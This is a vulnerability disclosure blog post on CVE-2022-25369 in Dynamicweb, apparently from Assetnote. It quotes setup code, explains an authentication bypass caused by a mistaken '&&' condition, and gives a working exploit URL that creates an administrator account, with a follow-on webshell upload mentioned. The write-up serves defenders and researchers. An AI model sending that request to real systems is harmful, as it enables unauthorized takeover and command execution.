Feb 20, 2022
![]() |
---|
The advisory for this issue can be found here.
The CVE for this issue is CVE-2022-25369.
This security research was performed by Shubham Shah.
When auditing enterprise applications, it’s important to not only focus on concrete vulnerability classes, but also on logic flaws which may have significant impact if exploited.
Many enterprise web applications contain a setup flow which is only supposed to be triggered when first running the software. These setup flows enable sensitive functionalities such as configuring the database or users.
When performing analysis on these setup flows, it should be confirmed whether or not these flows cannot be triggered after the setup phase has been completed.
In the case of Dynamicweb, it was possible to trigger the code path which was used by the setup flow to add a new administrator user to the system. After the user was added, it was possible to upload an ASPX webshell to achieve command execution.
Per Dynamicweb’s marketing materials:
Dynamicweb offers a cloud based eCommerce suite. Dynamicweb enables customers to deliver better digital customer experiences and to scale ecommerce success through our Content Management, Digital Marketing, Ecommerce, and Product Information Management solutions.
We found that the endpoint /Admin/Access/Setup/Default.aspx
could be reached without being redirected to authentication under certain conditions.
Mapping this back to the source code, we found the following file and snippet of code:
Dynamicweb.Admin/Dynamicweb/Admin/_Default3.cs
protected void Page_Load(object sender, EventArgs e)
{
string text = Dynamicweb.Context.Current.Request["Action"];
if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
{
base.Response.Redirect("/Admin");
}
if (!string.IsNullOrEmpty(text))
{
Dynamicweb.Content.Management.Setup.HandleAction(text);
}
Can you spot the logic flaw above?
The logic flaw exists here:
if (string.IsNullOrEmpty(text) && Dynamicweb.Content.Management.Setup.SetupCompleted())
If you read through the code block carefully, you will realise that this condition will not be true as long as the text
variable is populated with any content. The text
variable is derived from the Action
parameter.
The &&
should actually be ||
.
Since this is controlled by the user, we were able to effectively bypass the controls preventing the setup steps to be ran again.
The Action
provided then gets passed to Dynamicweb.Content.Management.Setup.HandleAction(text);
.
When looking at the code for HandleAction
we found the following:
internal static void HandleAction(string action)
{
ActionResult actionResult = null;
IsSetupCompleted = false;
switch (action)
{
case "copyfiles":
if (Context.Current.Request.GetBoolean("mapToExistingFolder"))
{
string @string = Context.Current.Request.GetString("filespath");
... omitted for brevity ...
case "tryconnectdatabase":
actionResult = CanConnectToDatabase(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
if (!actionResult.Success)
{
actionResult = CanConnectToDatabaseServer(Context.Current.Request["server"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request["connectionString"], Context.Current.Request.GetBoolean("integrated"));
}
break;
case "setdatabasesettings":
actionResult = SetupDatabaseSettings(Context.Current.Request["server"], Context.Current.Request["database"], Context.Current.Request["username"], Context.Current.Request["password"], Context.Current.Request.GetBoolean("integrated"), Context.Current.Request.GetBoolean("azure"), Context.Current.Request.GetBoolean("createazuredatabase"), Context.Current.Request["connectionString"]);
break;
case "createschema":
actionResult = SetupDatabaseSchemaAndData(Context.Current.Request.GetBoolean("createazuredatabase"));
break;
case "createadministrator":
actionResult = SetupAdministrator(Context.Current.Request["adminusername"], Context.Current.Request["adminpassword"], Context.Current.Request["adminemail"], Context.Current.Request["adminname"]);
break;
case "endsetup":
IsSetupCompleted = true;
... omitted for brevity ...
MakeResponse(actionResult);
}
From reading the code above, we can see that the following operations are possible after bypassing authentication:
The most impactful exploit vector was to add a new administrator user and then upload an ASPX webshell once authentication to the administrator panel. Uploading a webshell is left as an exercise for the reader.
https://target.com/Admin/Access/Setup/Default.aspx?Action=createadministrator&adminusername=admin1&adminpassword=admin1&[email protected]&adminname=test
The above URL will add a new administrator user with the username admin1
and the password admin1
. Once authenticated to the administrator panel, it is possible to upload a web shell and achieve command execution.
Dynamicweb dealt with these issues seriously, and we appreciated their efforts in remediating this vulnerability and corresponding with us.
We reported this issue to Dynamicweb on the Jan 21st, 2022.
The timeline for this disclosure process can be found below:
Hotfixed versions that contain a fix can be found below:
Please upgrade to one of these hotfixed versions as soon as possible.
The vulnerability discovered in this blog post was first present in a release of Dynamicweb from August, 2018. When auditing enterprise software, it’s important to understand the context and logic behind certain administrative actions, such as running the setup phase again. Focusing on these areas can lead to critical findings like the one disclosed in this blog post. Logic flaws can often be left undetected by tools, however can still have a great security impact.
As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.
Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.
Customers of our Attack Surface Management platform were the first to know of this vulnerability and others like it. If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.
If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.
Find out how Assetnote can help you lock down your external attack surface.
Use the lead form below, or alternatively contact us via email by clicking here.